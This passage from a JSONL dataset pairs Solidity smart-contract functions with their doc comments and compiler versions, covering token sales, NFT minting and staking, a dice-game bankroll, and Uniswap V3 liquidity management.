_tokenPrice;\r\n minInvestment = _minInvestment;\r\n allowedSenders = _allowedSenders;\r\n tokenValueMultiplier = 10 ** token.decimals();\r\n }", "version": "0.4.18"} {"comment": "/// @dev Token sale state machine management.\n/// @return Status current status", "function_code": "function getCurrentStatus() public constant returns (Status) {\r\n if (startTime > now)\r\n return Status.Preparing;\r\n if (now > startTime + duration + prolongedDuration)\r\n return Status.Finished;\r\n if (now > startTime + duration && !prolongationPermitted)\r\n return Status.Finished;\r\n if (token.balanceOf(address(this)) <= 0)\r\n return Status.TokenShortage;\r\n if (now > startTime + duration)\r\n return Status.ProlongedSelling;\r\n if (now >= startTime)\r\n return Status.Selling;\r\n return Status.Unknown;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Internal transfer for all functions that transfer.\r\n * @param _from The address that is transferring coins.\r\n * @param _to The receiving address of the coins.\r\n * @param _amount The amount of coins being transferred.\r\n **/", "function_code": "function _transfer(address _from, address _to, uint256 _amount) internal returns (bool success)\r\n {\r\n require (_to != address(0));\r\n require(balances[_from] >= _amount);\r\n \r\n balances[_from] = balances[_from].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n \r\n emit Transfer(_from, _to, _amount);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Slightly more gas efficient than balanceOf for merely returning ownership status.\r\n */", "function_code": "function isFinnsOwner(address owner) public view virtual returns (bool) {\r\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\r\n\r\n uint256 qty = _owners.length;\r\n // Cannot realistically overflow, since we are using uint256\r\n unchecked {\r\n for (uint256 i = 0; i < qty; i++) {\r\n if (owner == ownerOf(i)) {\r\n return true;\r\n }\r\n }\r\n }\r\n return false;\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * Returns array of tokens only from the last mint in descending order. Transfers\r\n * will affect this, it's only useful right after minting.\r\n * It is not recommended to call this function from another smart contract\r\n * as it can become quite expensive -- call this function off chain instead.\r\n */", "function_code": "function latestMinted(address owner) public view virtual returns (uint256[] memory) {\r\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\r\n \r\n if (totalSupply() == 0) {\r\n return new uint256[](0);\r\n }\r\n\r\n uint256 count;\r\n uint256 start;\r\n bool started;\r\n for (uint256 tokenId = _owners.length-1; tokenId >= 0; tokenId--) {\r\n if (!started && _owners[tokenId] == owner) {\r\n start = tokenId;\r\n started = true;\r\n count++;\r\n } else if (_owners[tokenId] == address(0)) {\r\n count++;\r\n } else if (count >= 1) {\r\n break;\r\n }\r\n\r\n if (tokenId == 0) {\r\n break;\r\n }\r\n }\r\n\r\n uint256 i;\r\n uint256 end = 0;\r\n if (count <= start) { //prevent underflow\r\n end = start - count;\r\n }\r\n uint256[] memory tokenIds = new uint256[](count);\r\n for (uint256 tokenId = start; tokenId > end; tokenId--) {\r\n tokenIds[i] = tokenId;\r\n i++;\r\n }\r\n\r\n return tokenIds;\r\n }", "version": "0.8.12"} {"comment": "// Mint function for marketing reserve", "function_code": "function reserveMintMarketing(address _to, uint256 _reserveAmount) public contractOwner { \r\n require(_reserveAmount > 0 && _reserveAmount <= marketingReserve, \"Exceeds reserve remaining\");\r\n require(totalSupply() + _reserveAmount < HOF_MAX, \"Exceeds supply\");\r\n\r\n marketingReserve -= _reserveAmount;\r\n _safeMint(_to, _reserveAmount);\r\n }", "version": "0.8.12"} {"comment": "// Mint function for marketing reserve to multiple addresses", "function_code": "function reserveMintMarketingMass(address[] memory _to, uint256[] memory _reserveAmount) public contractOwner { \r\n require(_to.length == _reserveAmount.length, \"To and amount length mismatch\");\r\n require(_to.length > 0, \"No tos\");\r\n\r\n uint256 totalReserve = 0;\r\n for (uint256 i = 0; i < _to.length; i++) {\r\n totalReserve += _reserveAmount[i];\r\n } \r\n require(totalReserve > 0 && totalReserve <= marketingReserve, \"Exceeds reserve remaining\");\r\n require(totalSupply() + totalReserve < HOF_MAX, \"Exceeds supply\");\r\n\r\n marketingReserve -= totalReserve;\r\n for (uint256 i = 0; i < _to.length; i++) {\r\n _safeMint(_to[i], _reserveAmount[i]);\r\n }\r\n }", "version": "0.8.12"} {"comment": "//Mint for the hof minting drop", "function_code": "function mintFinns(uint256 numberOfTokens) public payable nonReentrant {\r\n require(saleIsActive, \"Sale Inactive\");\r\n require(numberOfTokens > 0 && numberOfTokens <= maxHofPurchase, \"Exceeds transaction max\");\r\n require(totalSupply() + numberOfTokens < _mintLimit(), \"Exceeds max supply\");\r\n require(msg.value == hofPrice * numberOfTokens, \"Check price\");\r\n \r\n _safeMint(msg.sender, numberOfTokens);\r\n }", "version": "0.8.12"} {"comment": "/**\n * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\n * Dont call this function on chain from another smart contract, since it can become quite expensive\n */", "function_code": "function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256 tokenId) {\n if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds();\n\n uint256 count;\n uint256 qty = _owners.length;\n // Cannot realistically overflow, since we are using uint256\n unchecked {\n for (tokenId; tokenId < qty; tokenId++) {\n if (owner == ownerOf(tokenId)) {\n if (count == index) return tokenId;\n else count++;\n }\n }\n }\n\n revert UnableGetTokenOwnerByIndex();\n }", "version": "0.8.12"} {"comment": "/**\n * @dev Iterates through _owners array, returns balance of address\n * It is not recommended to call this function from another smart contract\n * as it can become quite expensive -- call this function off chain instead.\n */", "function_code": "function balanceOf(address owner) public view virtual returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n\n uint256 count;\n uint256 qty = _owners.length;\n // Cannot realistically overflow, since we are using uint256\n unchecked {\n for (uint256 i = 0; i < qty; i++) {\n if (owner == ownerOf(i)) {\n count++;\n }\n }\n }\n return count;\n }", "version": "0.8.12"} {"comment": "//Decompression demo program https://github.com/pixeluniverselab/sprite_decompression", "function_code": "function tokenURI(uint256 tokenId) public view override returns (string memory){\n\t\t\n\t\tstring memory compressedImage = Base64.encode(getSpriteImage(tokenId));\n\t\t\n\t\tspriteAttribute memory spa = getSpriteAttribute(tokenId);\n\t\tspriteBody memory spb = getSpriteBody(tokenId);\n\t\t\n\t\tstring memory spriteaAttar = string(abi.encodePacked('{\"speed\":',_toString(spa.speed),',\"capacity\":',_toString(spa.capacity),',\"space\":',_toString(spa.space),',\"color_1\":',_toString(spa.color_1),',\"color_2\":',_toString(spa.color_2),',\"color_3\":',_toString(spa.color_3),',\"color_4\":',_toString(spa.color_4),'}'));\n\t\tstring memory spriteaBody = string(abi.encodePacked('{\"trunkIndex\":',_toString(spb.trunkIndex),',\"headIndex\":',_toString(spb.headIndex),',\"eyeIndex\":',_toString(spb.eyeIndex),',\"mouthIndex\":',_toString(spb.mouthIndex),',\"tailIndex\":',_toString(spb.tailIndex),',\"colorContainerIndex\":',_toString(spb.colorContainerIndex),',\"skinColorIndex\":',_toString(spb.skinColorIndex),'}'));\n\n\t\tstring memory json = Base64.encode(bytes(string(abi.encodePacked('{\"name\": \"Sprite #', _toString(tokenId), '\",\"description\": \"Pixel sprite is a metaverse game. All information of the sprite, including image data, is completely stored on the chain. The picture is stored on the chain using a compression algorithm\", \"attribute\": ',spriteaAttar,', \"body\": ',spriteaBody,', \"image\": \"data:image/compressed_png;Base64,', compressedImage,'\"}'))));\n\t\t\n\t\n\t\treturn string(abi.encodePacked('data:application/json;base64,', json));\n\t}", "version": "0.8.7"} {"comment": "// Set up the tokenbankroll stuff ", "function_code": "function setupBankrollInterface(address ZethrMainBankrollAddress) internal {\r\n // Instantiate Zethr\r\n Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811);\r\n // Get the bankroll addresses from the main bankroll\r\n UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();\r\n for(uint i=0; i<7; i++){\r\n ValidBankrollAddress[UsedBankrollAddresses[i]] = true;\r\n }\r\n }", "version": "0.4.25"} {"comment": "// Token fallback to bet or deposit from bankroll", "function_code": "function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) {\r\n TKN memory _tkn;\r\n _tkn.sender = _from;\r\n _tkn.value = _value;\r\n uint8 chosenNumber = uint8(_data[0]);\r\n _playerRollDice(chosenNumber, _tkn, userDivRate);\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// Only owner adjust contract balance variable (only used for max profit calc)", "function_code": "function updateContractBalance(uint newContractBalance) public\r\n onlyOwner\r\n {\r\n contractBalance[2] = newContractBalance;\r\n setMaxProfit(2);\r\n contractBalance[5] = newContractBalance;\r\n setMaxProfit(5);\r\n contractBalance[10] = newContractBalance;\r\n setMaxProfit(10);\r\n contractBalance[15] = newContractBalance;\r\n setMaxProfit(15);\r\n contractBalance[20] = newContractBalance;\r\n setMaxProfit(20);\r\n contractBalance[25] = newContractBalance;\r\n setMaxProfit(25);\r\n contractBalance[33] = newContractBalance;\r\n setMaxProfit(33);\r\n }", "version": "0.4.25"} {"comment": "// Only owner address can set maxProfitAsPercentOfHouse", "function_code": "function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public\r\n onlyOwner\r\n {\r\n // Restricts each bet to a maximum profit of 20% contractBalance\r\n require(newMaxProfitAsPercent <= 200000);\r\n maxProfitAsPercentOfHouse = newMaxProfitAsPercent;\r\n setMaxProfit(2);\r\n setMaxProfit(5);\r\n setMaxProfit(10);\r\n setMaxProfit(15);\r\n setMaxProfit(20);\r\n setMaxProfit(25);\r\n setMaxProfit(33);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Claims DAO tokens.\n */", "function_code": "function claimTokens() public {\n require(!close, \"DAOToken Close!\");\n require(!claimed[msg.sender], \"DAOToken: Tokens already claimed.\");\n claimed[msg.sender] = true;\n uint256 amount = ticketBooth.balanceOf(msg.sender, AssangeDAOProjectId);\n require(amount > 0, \"You do not donate AssangeDAO\");\n _mint(msg.sender, amount);\n emit Claim(msg.sender, amount);\n }", "version": "0.8.2"} {"comment": "// -----------------------------\n// Loopring Broker Delegate", "function_code": "function brokerRequestAllowance(BrokerData.BrokerApprovalRequest memory request) public returns (bool) {\r\n require(msg.sender == loopringDelegate);\r\n\r\n BrokerData.BrokerOrder[] memory mergedOrders = new BrokerData.BrokerOrder[](request.orders.length);\r\n uint numMergedOrders = 1;\r\n\r\n mergedOrders[0] = request.orders[0];\r\n\r\n if (request.orders.length > 1) {\r\n for (uint i = 1; i < request.orders.length; i++) {\r\n bool isDuplicate = false;\r\n\r\n for (uint b = 0; b < numMergedOrders; b++) {\r\n if (request.orders[i].owner == mergedOrders[b].owner) {\r\n mergedOrders[b].requestedAmountS += request.orders[i].requestedAmountS;\r\n mergedOrders[b].requestedFeeAmount += request.orders[i].requestedFeeAmount;\r\n isDuplicate = true;\r\n break;\r\n }\r\n }\r\n\r\n if (!isDuplicate) {\r\n mergedOrders[numMergedOrders] = request.orders[i];\r\n numMergedOrders += 1;\r\n }\r\n }\r\n }\r\n\r\n for (uint j = 0; j < numMergedOrders; j++) {\r\n BrokerData.BrokerOrder memory order = mergedOrders[j];\r\n address payable depositAddress = registry.depositAddressOf(order.owner);\r\n\r\n _transfer(request.tokenS, depositAddress, address(this), order.requestedAmountS, false);\r\n if (order.requestedFeeAmount > 0) _transfer(request.feeToken, depositAddress, address(this), order.requestedFeeAmount, false);\r\n }\r\n\r\n return false;\r\n // Does not use onOrderFillReport\r\n }", "version": "0.5.13"} {"comment": "// -----------------------------\n// Versionable", "function_code": "function versionBeginUsage(\r\n address owner,\r\n address payable depositAddress,\r\n address oldVersion,\r\n bytes calldata additionalData\r\n ) external {\r\n // Approve the DolomiteMarginProtocol as an operator for the deposit contract's dYdX account\r\n IDepositContract(depositAddress).setDyDxOperator(dydxProtocolAddress, dolomiteMarginProtocolAddress);\r\n }", "version": "0.5.13"} {"comment": "// TODO: test me", "function_code": "function mintDai(\r\n // User params\r\n uint256 _dart,\r\n bytes calldata _btcAddr,\r\n uint256 _minWbtcAmount,\r\n\r\n // Darknode params\r\n uint256 _amount, // Amount of renBTC.\r\n bytes32 _nHash, // Nonce hash.\r\n bytes calldata _sig // Minting signature. TODO: understand better\r\n ) external {\r\n // Finish the lock-and-mint cross-chain transaction using the minting\r\n // signature produced by RenVM.\r\n \r\n // TODO: read the IGateway code\r\n uint256 amount = registry.getGatewayBySymbol(\"BTC\").mint(\r\n keccak256(abi.encode(msg.sender, _dart, _btcAddr, _minWbtcAmount)), \r\n _amount, \r\n _nHash, \r\n _sig\r\n );\r\n \r\n // Get price\r\n uint256 proceeds = exchange.get_dy(0, 1, amount);\r\n \r\n // Price is OK\r\n if (proceeds >= _minWbtcAmount) {\r\n uint256 startWbtcBalance = wbtc.balanceOf(address(this));\r\n exchange.exchange(0, 1, amount, _minWbtcAmount);\r\n uint256 wbtcBought = wbtc.balanceOf(address(this)).sub(startWbtcBalance);\r\n\r\n require(\r\n wbtc.transfer(address(directProxy), wbtcBought),\r\n \"err: transfer failed\"\r\n );\r\n\r\n directProxy.borrow(\r\n msg.sender,\r\n int(wbtcBought * (10 ** 10)),\r\n int(_dart)\r\n );\r\n\r\n btcAddrs[msg.sender] = _btcAddr;\r\n } else {\r\n // Send renBTC to the User instead\r\n renbtc.transfer(msg.sender, amount);\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * adds Galleons and Pirates to the Fleet and Sea\r\n * @param account the address of the staker\r\n * @param tokenIds the IDs of the Galleons and Pirates to stake\r\n */", "function_code": "function addManyToFleet(address account, uint16[] calldata tokenIds) external override \r\n nonReentrant \r\n onlyEOA\r\n {\r\n require(account == tx.origin, \"account to sender mismatch\");\r\n for (uint i = 0; i < tokenIds.length; i++) {\r\n if (_msgSender() != address(pirateGame)) { // dont do this step if its a mint + stake\r\n require(nftContract.ownerOf(tokenIds[i]) == _msgSender(), \"You don't own this token\");\r\n nftContract.transferFrom(_msgSender(), address(this), tokenIds[i]);\r\n } else if (tokenIds[i] == 0) {\r\n continue; // there may be gaps in the array for stolen tokens\r\n }\r\n\r\n if (nftContract.isGalleon(tokenIds[i])) \r\n _addGalleonToFleet(account, tokenIds[i]);\r\n else \r\n _addPirateToSea(account, tokenIds[i]);\r\n } \r\n }", "version": "0.8.10"} {"comment": "/**\r\n * adds a single Pirate to the Sea\r\n * @param account the address of the staker\r\n * @param tokenId the ID of the Pirate to add to the Sea\r\n */", "function_code": "function _addPirateToSea(address account, uint256 tokenId) internal {\r\n uint8 rank = _rankForPirate(tokenId);\r\n totalRankStaked += rank; // Portion of earnings ranges from 8 to 5\r\n seaIndices[tokenId] = sea[rank].length; // Store the location of the pirate in the Sea\r\n sea[rank].push(Stake({\r\n owner: account,\r\n tokenId: uint16(tokenId),\r\n value: uint80(cacaoPerRank)\r\n })); // Add the pirate to the Sea\r\n emit TokenStaked(account, tokenId, false, cacaoPerRank);\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * realize $CACAO earnings and optionally unstake tokens from the Fleet / Sea\r\n * to unstake a Galleon it will require it has 2 days worth of $CACAO unclaimed\r\n * @param tokenIds the IDs of the tokens to claim earnings from\r\n * @param unstake whether or not to unstake ALL of the tokens listed in tokenIds\r\n */", "function_code": "function claimManyFromFleetAndSea(uint16[] calldata tokenIds, bool unstake) external \r\n whenNotPaused \r\n _updateEarnings \r\n nonReentrant \r\n onlyEOA\r\n {\r\n uint256 owed = 0;\r\n for (uint i = 0; i < tokenIds.length; i++) {\r\n if (nftContract.isGalleon(tokenIds[i])) {\r\n owed += _claimGalleonFromFleet(tokenIds[i], unstake);\r\n }\r\n else {\r\n owed += _claimPirateFromSea(tokenIds[i], unstake);\r\n }\r\n }\r\n cacao.updateInblockGuard();\r\n if (owed == 0) {\r\n return;\r\n }\r\n cacao.mint(_msgSender(), owed);\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * realize $CACAO earnings for a single Pirate and optionally unstake it\r\n * Pirates earn $CACAO proportional to their rank\r\n * @param tokenId the ID of the Pirate to claim earnings from\r\n * @param unstake whether or not to unstake the Pirate\r\n * @return owed - the amount of $CACAO earned\r\n */", "function_code": "function _claimPirateFromSea(uint256 tokenId, bool unstake) internal returns (uint256 owed) {\r\n require(nftContract.ownerOf(tokenId) == address(this), \"Doesn't own token\");\r\n uint8 rank = _rankForPirate(tokenId);\r\n Stake memory stake = sea[rank][seaIndices[tokenId]];\r\n require(stake.owner == _msgSender(), \"Doesn't own token\");\r\n owed = (rank) * (cacaoPerRank - stake.value); // Calculate portion of tokens based on Rank\r\n if (unstake) {\r\n totalRankStaked -= rank; // Remove rank from total staked\r\n Stake memory lastStake = sea[rank][sea[rank].length - 1];\r\n sea[rank][seaIndices[tokenId]] = lastStake; // Shuffle last Pirate to current position\r\n seaIndices[lastStake.tokenId] = seaIndices[tokenId];\r\n sea[rank].pop(); // Remove duplicate\r\n delete seaIndices[tokenId]; // Delete old mapping\r\n // Always remove last to guard against reentrance\r\n nftContract.safeTransferFrom(address(this), _msgSender(), tokenId, \"\"); // Send back Pirate\r\n } else {\r\n sea[rank][seaIndices[tokenId]] = Stake({\r\n owner: _msgSender(),\r\n tokenId: uint16(tokenId),\r\n value: uint80(cacaoPerRank)\r\n }); // reset stake\r\n }\r\n emit PirateClaimed(tokenId, unstake, owed);\r\n }", "version": "0.8.10"} {"comment": "/** \r\n * add $CACAO to claimable pot for the Sea\r\n * @param amount $CACAO to add to the pot\r\n */", "function_code": "function _payPirateTax(uint256 amount) internal {\r\n if (totalRankStaked == 0) { // if there's no staked pirates\r\n unaccountedRewards += amount; // keep track of $CACAO due to pirates\r\n return;\r\n }\r\n // makes sure to include any unaccounted $CACAO \r\n cacaoPerRank += (amount + unaccountedRewards) / totalRankStaked;\r\n unaccountedRewards = 0;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * chooses a random Pirate thief when a newly minted token is stolen\r\n * @param seed a random value to choose a Pirate from\r\n * @return the owner of the randomly selected Pirate thief\r\n */", "function_code": "function randomPirateOwner(uint256 seed) external view override returns (address) {\r\n if (totalRankStaked == 0) {\r\n return address(0x0);\r\n }\r\n uint256 bucket = (seed & 0xFFFFFFFF) % totalRankStaked; // choose a value from 0 to total rank staked\r\n uint256 cumulative;\r\n seed >>= 32;\r\n uint8 rank;\r\n // loop through each bucket of Pirates with the same rank score\r\n for (uint8 j = 0; j < _ranks.length; j++) {\r\n rank = _ranks[j];\r\n cumulative += sea[rank].length * rank;\r\n // if the value is not inside of that bucket, keep going\r\n if (bucket >= cumulative) continue;\r\n // get the address of a random Pirate with that rank score\r\n return sea[rank][seed % sea[rank].length].owner;\r\n }\r\n return address(0x0);\r\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n * @param owner The address of the caller.\n * @param spender The address of the account which may transfer tokens\n * @param amount The number of tokens that are approved\n * @dev This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n * @dev Emits an Approval event.\n * @dev owner cannot be the zero address.\n * @dev spender cannot be the zero address.\n */", "function_code": "function _approve(\n address owner,\n address spender,\n uint96 amount\n ) internal virtual {\n require(\n owner != address(0),\n \"Ctx::_approve: approve from the zero address\"\n );\n require(\n spender != address(0),\n \"Ctx::_approve: approve to the zero address\"\n );\n\n allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }", "version": "0.7.5"} {"comment": "/**\n * @notice Atomically increases the allowance granted to `spender` by the caller.\n * @param spender address\n * @param addedValue uint256 raw\n * @dev This is an alternative to {approve} that can be used as a mitigation for\n * problems of Allowance Double-Spend Exploit.\n * @dev Emits Approval event indicating the updated allowance.\n * @dev spender cannot be the zero address.\n */", "function_code": "function increaseAllowance(address spender, uint256 addedValue)\n public\n virtual\n returns (bool)\n {\n uint96 amount;\n if (addedValue == uint256(-1)) {\n amount = uint96(-1);\n } else {\n amount = safe96(\n addedValue,\n \"Ctx::increaseAllowance: amount exceeds 96 bits\"\n );\n }\n _approve(\n msg.sender,\n spender,\n add96(\n allowances[msg.sender][spender],\n amount,\n \"Ctx::increaseAllowance: transfer amount overflows\"\n )\n );\n return true;\n }", "version": "0.7.5"} {"comment": "/// @notice Update fees of the positions\n/// @return baseLiquidity Fee of base position\n/// @return limitLiquidity Fee of limit position", "function_code": "function zeroBurn() internal returns(uint128 baseLiquidity, uint128 limitLiquidity) {\n /// update fees for inclusion\n (baseLiquidity, , ) = _position(baseLower, baseUpper);\n if (baseLiquidity > 0) {\n pool.burn(baseLower, baseUpper, 0);\n }\n (limitLiquidity, , ) = _position(limitLower, limitUpper);\n if (limitLiquidity > 0) {\n pool.burn(limitLower, limitUpper, 0);\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Pull liquidity tokens from liquidity and receive the tokens\n/// @param shares Number of liquidity tokens to pull from liquidity\n/// @return base0 amount of token0 received from base position\n/// @return base1 amount of token1 received from base position\n/// @return limit0 amount of token0 received from limit position\n/// @return limit1 amount of token1 received from limit position", "function_code": "function pullLiquidity(\n uint256 shares\n ) external onlyOwner returns(\n uint256 base0,\n uint256 base1,\n uint256 limit0,\n uint256 limit1\n ) {\n zeroBurn();\n (base0, base1) = _burnLiquidity(\n baseLower,\n baseUpper,\n _liquidityForShares(baseLower, baseUpper, shares),\n address(this),\n false\n );\n (limit0, limit1) = _burnLiquidity(\n limitLower,\n limitUpper,\n _liquidityForShares(limitLower, limitUpper, shares),\n address(this),\n false\n );\n }", "version": "0.7.6"} {"comment": "/// @param shares Number of liquidity tokens to redeem as pool assets\n/// @param to Address to which redeemed pool assets are sent\n/// @param from Address from which liquidity tokens are sent\n/// @return amount0 Amount of token0 redeemed by the submitted liquidity tokens\n/// @return amount1 Amount of token1 redeemed by the submitted liquidity tokens", "function_code": "function withdraw(\n uint256 shares,\n address to,\n address from\n ) nonReentrant external override returns (uint256 amount0, uint256 amount1) {\n require(shares > 0, \"shares\");\n require(to != address(0), \"to\");\n\n /// update fees\n zeroBurn();\n\n /// Withdraw liquidity from Uniswap pool\n (uint256 base0, uint256 base1) = _burnLiquidity(\n baseLower,\n baseUpper,\n _liquidityForShares(baseLower, baseUpper, shares),\n to,\n false\n );\n (uint256 limit0, uint256 limit1) = _burnLiquidity(\n limitLower,\n limitUpper,\n _liquidityForShares(limitLower, limitUpper, shares),\n to,\n false\n );\n\n // Push tokens proportional to unused balances\n uint256 supply = totalSupply();\n uint256 unusedAmount0 = token0.balanceOf(address(this)).mul(shares).div(supply);\n uint256 unusedAmount1 = token1.balanceOf(address(this)).mul(shares).div(supply);\n if (unusedAmount0 > 0) token0.safeTransfer(to, unusedAmount0);\n if (unusedAmount1 > 0) token1.safeTransfer(to, unusedAmount1);\n\n amount0 = base0.add(limit0).add(unusedAmount0);\n amount1 = base1.add(limit1).add(unusedAmount1);\n\n require(\n from == msg.sender || IUniversalVault(from).owner() == msg.sender,\n \"own\"\n );\n _burn(from, shares);\n\n emit Withdraw(from, to, shares, amount0, amount1);\n }", "version": "0.7.6"} {"comment": "/// @notice Compound pending fees\n/// @return baseToken0Owed Pending fees of base token0\n/// @return baseToken1Owed Pending fees of base token1\n/// @return limitToken0Owed Pending fees of limit token0\n/// @return limitToken1Owed Pending fees of limit token1", "function_code": "function compound() external onlyOwner returns (\n uint128 baseToken0Owed,\n uint128 baseToken1Owed,\n uint128 limitToken0Owed,\n uint128 limitToken1Owed\n ) {\n // update fees for compounding\n zeroBurn();\n (, baseToken0Owed,baseToken1Owed) = _position(baseLower, baseUpper);\n (, limitToken0Owed,limitToken1Owed) = _position(limitLower, limitUpper);\n \n // collect fees\n pool.collect(address(this), baseLower, baseLower, baseToken0Owed, baseToken1Owed);\n pool.collect(address(this), limitLower, limitUpper, limitToken0Owed, limitToken1Owed);\n \n uint128 baseLiquidity = _liquidityForAmounts(\n baseLower,\n baseUpper,\n token0.balanceOf(address(this)),\n token1.balanceOf(address(this))\n );\n _mintLiquidity(baseLower, baseUpper, baseLiquidity, address(this));\n\n uint128 limitLiquidity = _liquidityForAmounts(\n limitLower,\n limitUpper,\n token0.balanceOf(address(this)),\n token1.balanceOf(address(this))\n );\n _mintLiquidity(limitLower, limitUpper, limitLiquidity, address(this));\n }", "version": "0.7.6"} {"comment": "/// @notice Add tokens to base liquidity\n/// @param amount0 Amount of token0 to add\n/// @param amount1 Amount of token1 to add", "function_code": "function addBaseLiquidity(uint256 amount0, uint256 amount1) external onlyOwner {\n uint128 baseLiquidity = _liquidityForAmounts(\n baseLower,\n baseUpper,\n amount0 == 0 && amount1 == 0 ? token0.balanceOf(address(this)) : amount0,\n amount0 == 0 && amount1 == 0 ? token1.balanceOf(address(this)) : amount1\n );\n _mintLiquidity(baseLower, baseUpper, baseLiquidity, address(this));\n }", "version": "0.7.6"} {"comment": "/// @notice Adds the liquidity for the given position\n/// @param tickLower The lower tick of the position in which to add liquidity\n/// @param tickUpper The upper tick of the position in which to add liquidity\n/// @param liquidity The amount of liquidity to mint\n/// @param payer Payer Data\n/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity\n/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity", "function_code": "function _mintLiquidity(\n int24 tickLower,\n int24 tickUpper,\n uint128 liquidity,\n address payer\n ) internal returns (uint256 amount0, uint256 amount1) {\n if (liquidity > 0) {\n (amount0, amount1) = pool.mint(\n address(this),\n tickLower,\n tickUpper,\n liquidity,\n abi.encode(payer)\n );\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Burn liquidity from the sender and collect tokens owed for the liquidity\n/// @param tickLower The lower tick of the position for which to burn liquidity\n/// @param tickUpper The upper tick of the position for which to burn liquidity\n/// @param liquidity The amount of liquidity to burn\n/// @param to The address which should receive the fees collected\n/// @param collectAll If true, collect all tokens owed in the pool, else collect the owed tokens of the burn\n/// @return amount0 The amount of fees collected in token0\n/// @return amount1 The amount of fees collected in token1", "function_code": "function _burnLiquidity(\n int24 tickLower,\n int24 tickUpper,\n uint128 liquidity,\n address to,\n bool collectAll\n ) internal returns (uint256 amount0, uint256 amount1) {\n if (liquidity > 0) {\n /// Burn liquidity\n (uint256 owed0, uint256 owed1) = pool.burn(tickLower, tickUpper, liquidity);\n\n // Collect amount owed\n uint128 collect0 = collectAll ? type(uint128).max : _uint128Safe(owed0);\n uint128 collect1 = collectAll ? type(uint128).max : _uint128Safe(owed1);\n if (collect0 > 0 || collect1 > 0) {\n (amount0, amount1) = pool.collect(to, tickLower, tickUpper, collect0, collect1);\n }\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Get the info of the given position\n/// @param tickLower The lower tick of the position\n/// @param tickUpper The upper tick of the position\n/// @return liquidity The amount of liquidity of the position\n/// @return tokensOwed0 Amount of token0 owed\n/// @return tokensOwed1 Amount of token1 owed", "function_code": "function _position(int24 tickLower, int24 tickUpper)\n internal\n view\n returns (\n uint128 liquidity,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n )\n {\n bytes32 positionKey = keccak256(abi.encodePacked(address(this), tickLower, tickUpper));\n (liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey);\n }", "version": "0.7.6"} {"comment": "/// @notice Callback function of uniswapV3Pool mint", "function_code": "function uniswapV3MintCallback(\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override {\n require(msg.sender == address(pool));\n address payer = abi.decode(data, (address));\n\n if (payer == address(this)) {\n if (amount0 > 0) token0.safeTransfer(msg.sender, amount0);\n if (amount1 > 0) token1.safeTransfer(msg.sender, amount1);\n } else {\n if (amount0 > 0) token0.safeTransferFrom(payer, msg.sender, amount0);\n if (amount1 > 0) token1.safeTransferFrom(payer, msg.sender, amount1);\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Callback function of uniswapV3Pool swap", "function_code": "function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external override {\n require(msg.sender == address(pool));\n address payer = abi.decode(data, (address));\n\n if (amount0Delta > 0) {\n if (payer == address(this)) {\n token0.safeTransfer(msg.sender, uint256(amount0Delta));\n } else {\n token0.safeTransferFrom(payer, msg.sender, uint256(amount0Delta));\n }\n } else if (amount1Delta > 0) {\n if (payer == address(this)) {\n token1.safeTransfer(msg.sender, uint256(amount1Delta));\n } else {\n token1.safeTransferFrom(payer, msg.sender, uint256(amount1Delta));\n }\n }\n }", "version": "0.7.6"} {"comment": "/// @return total0 Quantity of token0 in both positions and unused in the Hypervisor\n/// @return total1 Quantity of token1 in both positions and unused in the Hypervisor", "function_code": "function getTotalAmounts() public view override returns (uint256 total0, uint256 total1) {\n (, uint256 base0, uint256 base1) = getBasePosition();\n (, uint256 limit0, uint256 limit1) = getLimitPosition();\n total0 = token0.balanceOf(address(this)).add(base0).add(limit0);\n total1 = token1.balanceOf(address(this)).add(base1).add(limit1);\n }", "version": "0.7.6"} {"comment": "/// @return liquidity Amount of total liquidity in the base position\n/// @return amount0 Estimated amount of token0 that could be collected by\n/// burning the base position\n/// @return amount1 Estimated amount of token1 that could be collected by\n/// burning the base position", "function_code": "function getBasePosition()\n public\n view\n returns (\n uint128 liquidity,\n uint256 amount0,\n uint256 amount1\n )\n {\n (uint128 positionLiquidity, uint128 tokensOwed0, uint128 tokensOwed1) = _position(\n baseLower,\n baseUpper\n );\n (amount0, amount1) = _amountsForLiquidity(baseLower, baseUpper, positionLiquidity);\n amount0 = amount0.add(uint256(tokensOwed0));\n amount1 = amount1.add(uint256(tokensOwed1));\n liquidity = positionLiquidity;\n }", "version": "0.7.6"} {"comment": "/// @notice Get the amounts of the given numbers of liquidity tokens\n/// @param tickLower The lower tick of the position\n/// @param tickUpper The upper tick of the position\n/// @param liquidity The amount of liquidity tokens\n/// @return Amount of token0 and token1", "function_code": "function _amountsForLiquidity(\n int24 